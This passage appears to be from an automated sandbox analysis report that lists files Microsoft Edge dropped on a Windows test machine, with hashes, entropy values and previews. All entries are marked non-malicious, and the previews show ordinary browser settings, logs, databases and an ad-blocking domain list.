Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67424231-22F0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45591691665339135
Encrypted:	false
SSDEEP:	3072:dzkwJZQPjKt0WBbpYGdwkcuKTdW2Xkp3hF/QOowd7qNHWg1HFa:uwJAKjYGakcuIDIhFLd7qNHWaHs
MD5:	0173D26B6D22790E03B7538DA999CFE9
SHA1:	1C84C8DEF6ED06ECAD64C8461DC279830F4F0BF7
SHA-256:	42CDD31C0488A3FF8AA544E5936BC03C21128643DE66E7DBD2EFACFE9DD2C854
SHA-512:	F6F9466C08836C39CED04418C4C5C93F167F21AD033A093D22D371F92B09EE39F59A6DE4DE19315652217A9ADAD73FC1F28E9CE9DB50803CD2C01AE4BFAE4E4E
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ejofer20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3e32dacc-915b-4b72-a3aa-da476cea9660.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4766c49b-ea49-49cc-8ccf-eb7047c38db6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13708
Entropy (8bit):	5.276753546671605
Encrypted:	false
SSDEEP:	192:stYJ99QTryDiuabatSuyppsssmaFvrEU6rkSRE8obV+FGhQA13GPsYJ:stYPGQSu4psssmCD56kbGEQC36
MD5:	D82D8A42F3622F43E4DB0C11D725A90D
SHA1:	891612EF67C0ADEC20233AE23E14369233AF36CA
SHA-256:	7557CB345919289AC5447E82DA779C8E922DF141DB85F41589A16FB42630DF8F
SHA-512:	6C192934633BCF5B2341CC4B81C8D4D5447FD34AEB23C8946E88544F30DB431E744F477EE7A8D26ACF264BFF3445CEC0EC1C24036BFFA174F833540FDFF99D2E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4b45d5df-1613-481c-ab8c-132c65bbdeac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.111625428020506
Encrypted:	false
SSDEEP:	192:stYkdppsssmaFvrE9kRRE8obV+F5hQAUUGPsYJ:stYQpsssmCDMbGfQS6
MD5:	ED242F2EA28C1C30B39BE4873F869D00
SHA1:	F923A817323CFAF7B60C3FE1E4E5EC59CDCAA820
SHA-256:	3F884BB455FA8520DCED9755974FECD4219B1FF7CF2EBA40C1CFC44324EA9373
SHA-512:	A9BBA87DE80F96FF604BBA26D375E4AB5C37139D2E62D7141528E42C43530611E0ACA6BD6BB17EE1308830CFFC2987BB692D5BE542A938B3BA40D657D9EB909D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\50f6d5b9-47ff-417c-89ef-8705e99eabb5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561617015552586
Encrypted:	false
SSDEEP:	768:+qroQNWBK7pLGLPycW5wIqf4B/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPClJyI30H:+WVNyicPycWaIqf2/u1ja3lJ/Rm3l0Y5
MD5:	81AE629AA8C4D809DFA94CE0C3254C84
SHA1:	57D0F0AAF2C08243560D8CF04D96C0778976655A
SHA-256:	2384D04E5E2350B4030DE86111765AAA4149383DE1327A6A9F734A340DF0C274
SHA-512:	07E1F32F50A681C0DBB5EDC0778A011EB728F929A76CEAF12AD5807DC29FFED6B5C0BA1A82D1C4E8B830505F77B1233FF1A2D3AD47A2EBAF3297989444E8FDF2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376869169404785","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376869169404785","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6820e650-d37c-4500-b987-168cf3904b92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568129821028227
Encrypted:	false
SSDEEP:	768:+qyoCNWEcW5wIqf4s/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPeyI303drwXEpKtuN:+rvN5cWaIqfV/u1jab/2mhtO
MD5:	D46D9B4E01EB1192E4341B1184F05CB0
SHA1:	C01868E772C0832B5BEB745342BE421072FDECD4
SHA-256:	C9F145FFC58C21876A1B0400E3473D3A7BCFB1431A22F427CA2B6C8D472F395E
SHA-512:	66E0653944D25CDA5E935377FEE58738696E144E761CD49588FA5244D9AFAD62094CA3216820BE752CED2E35DD2968EB43A21734E2F349E765195CE093A17159
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376869169404785","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376869169404785","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\90f53db5-99fc-4187-b95d-978fc7e67c43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.289903785331004
Encrypted:	false
SSDEEP:	6:HGb6D1N723oH+Tcwtp3hBtB2KLlVGbEU+q2PN723oH+Tcwtp3hBWsIFUv:lDaYebp3dFLVvVaYebp3eFUv
MD5:	4085207DA1F9C445B3BA0EEC2586852A
SHA1:	B188ACCEC4908B11F04AE29163D4FAB75FA1FF21
SHA-256:	B288DDDD50614EB0B8199D4B6625F4D7046CDB1C6384A5BC8D0E83D86902C246
SHA-512:	E86C160FC4DE8CC508A98FA9991A729A750FC84E574B2003A5A7C342E22D162691F7CFD31C021F56646A8163422891658FA1DBE5C50B3979B1D2FB83B78511C0
Malicious:	false
Preview:	2024/11/23-15:59:33.968 23b8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/23-15:59:34.092 23b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222886095885254
Encrypted:	false
SSDEEP:	24576:IbPMZpVDfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVDfx2mjF
MD5:	95C4912EEBF1FE484E532656A46CBDF2
SHA1:	861CDDE9B27B077F2DB6CBC9FC1D10A60A10FF93
SHA-256:	6EF683AB158DD7F8AF13F8746F71A546C2DA26127693AA47586719D706B203BC
SHA-512:	3F1559EF6DBB69314B267EB999AD297F3544DEAEA33EE7226E9CEC37A8B8173A7102235C3683E1379EC37AFD153E78E9DBDE724E864C6ADEDD137D74E8D6FFB2
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.096433380171459
Encrypted:	false
SSDEEP:	6:HGbN6VOq2PN723oH+Tcwt9Eh1tIFUt8YGbLhZmw+YGb167kwON723oH+Tcwt9Ehx:/AvVaYeb9Eh16FUt85h/+nC5OaYeb9Er
MD5:	9122DFD18986AA9430B97F6259767AA5
SHA1:	119B0C18F280A16B6D5CC7595D567991B79FC397
SHA-256:	F91DE485147646D681EF35B10C5EAF4530F589F7C764B2DB43909786FF9E54C2
SHA-512:	9BC89AD04A4493590A1B2861E1534F1A8DC4FE6B4700AAC5D9B5BE89BBD6E5B285BF5F34F2E1733C734D0CD0B399F7E52DF24B31AE335B0F13A03AE0028D3165
Malicious:	false
Preview:	2024/11/23-15:59:34.003 1050 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-15:59:34.008 1050 Recovering log #3.2024/11/23-15:59:34.021 1050 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.096433380171459
Encrypted:	false
SSDEEP:	6:HGbN6VOq2PN723oH+Tcwt9Eh1tIFUt8YGbLhZmw+YGb167kwON723oH+Tcwt9Ehx:/AvVaYeb9Eh16FUt85h/+nC5OaYeb9Er
MD5:	9122DFD18986AA9430B97F6259767AA5
SHA1:	119B0C18F280A16B6D5CC7595D567991B79FC397
SHA-256:	F91DE485147646D681EF35B10C5EAF4530F589F7C764B2DB43909786FF9E54C2
SHA-512:	9BC89AD04A4493590A1B2861E1534F1A8DC4FE6B4700AAC5D9B5BE89BBD6E5B285BF5F34F2E1733C734D0CD0B399F7E52DF24B31AE335B0F13A03AE0028D3165
Malicious:	false
Preview:	2024/11/23-15:59:34.003 1050 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-15:59:34.008 1050 Recovering log #3.2024/11/23-15:59:34.021 1050 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46133494028960353
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuZla9EkW:TouQq3qh7z3bY2LNW9WMcUvBuuik
MD5:	9428BA7E5FA4D8A3250FBFFB3F4B0F12
SHA1:	A5FF88EE9979AC773970F53D34A95F7319F7F8D7
SHA-256:	5D52868E2A983939CEA585BE09F353D2DA30091F1420649CAEBE78ED72FF8584
SHA-512:	87CB8EDEAE5F857F36E336415D1CF60FD6DEB43363259EDE17731C4EF8E0B2A318518A4A09ADB33118DA160DB00F3CD7E6E04A6B020EFD93A6E0287138628A6B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.215423429429323
Encrypted:	false
SSDEEP:	6:HG6pM+q2PN723oH+TcwtnG2tMsIFUt8YGZeZZmw+YGZeMMVkwON723oH+TcwtnGg:ppM+vVaYebn9GFUt8H6/+HlMV5OaYebB
MD5:	AB4154C9EA9E04DC1A6034F188EA1772
